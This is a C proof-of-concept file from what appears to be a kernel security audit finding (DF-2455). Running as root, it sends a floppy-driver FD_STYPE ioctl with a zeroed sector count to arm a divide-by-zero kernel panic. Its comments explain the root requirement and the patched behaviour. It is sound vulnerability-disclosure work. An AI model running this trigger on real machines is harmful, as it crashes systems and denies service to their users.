DF-2455 / fd_stype.c
/* * DF-2455 trigger (NOT runnable on this audit guest — see VERDICT.md). * * Issues FD_STYPE with an attacker-crafted struct fd_type whose sectrac==0 * (or heads==0), arming a kernel divide-by-zero trap that fires on the next * open()/I/O against the floppy drive (d_ncylinders = size / (sectrac*heads), * d_secpercyl=0). Also demonstrates the secsize shift-UB variant * (128 << secsize for secsize>=25 / >=32). * * FD_STYPE is gated by caps_priv_check(SYSCAP_RESTRICTEDROOT) -> requires root * (sys/dev/disk/fd/fd.c:2327). The unprivileged->kernel angle from the * finding is "root plants the bad type, an unprivileged operator-group user * trips the trap on open()". * * REQUIRES a floppy controller (ISA FDC) + /dev/fd0, which THIS QEMU audit * guest does not have (no -fda, no FDC; and X86_64_GENERIC has no `device fd`, * so the driver is not even compiled in). On a machine WITH a floppy it * reproduces a kernel divide-by-zero panic. * * Build: cc -o fd_stype fd_stype.c * Run: ./fd_stype /dev/fd0 (as root) */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> /* mirror of sys/platform/pc64/include/ioctl_fd.h */ struct fd_type { int sectrac; int secsize; int datalen; int gap; int tracks; int size; int steptrac; int trans; int heads; int f_gap; int f_inter; }; #define FD_STYPE _IOW('F', 63, struct fd_type) int main(int argc, char **argv) { const char *dev = argc >= 2 ? argv[1] : "/dev/fd0"; int fd = open(dev, O_RDWR); if (fd < 0) { perror(dev); return 1; } /* arm div-by-zero: sectrac=0 -> d_secpercyl = 0*heads = 0 */ struct fd_type bad; memset(&bad, 0, sizeof(bad)); bad.sectrac = 0; /* divisor -> 0 */ bad.heads = 2; bad.secsize = 2; bad.size = 2880; if (ioctl(fd, FD_STYPE, &bad) < 0) { perror("FD_STYPE (sectrac=0)"); /* EINVAL with the fix */ } else { printf("FD_STYPE installed sectrac=0 -> div-by-zero armed\n"); } /* On the UNPATCHED driver, the next geometry inquiry / open computes * d_ncylinders = size / (sectrac*heads) -> divide-by-zero trap (panic). * (Trigger the consumer by re-opening or issuing a geometry query.) */ close(fd); return 0; } |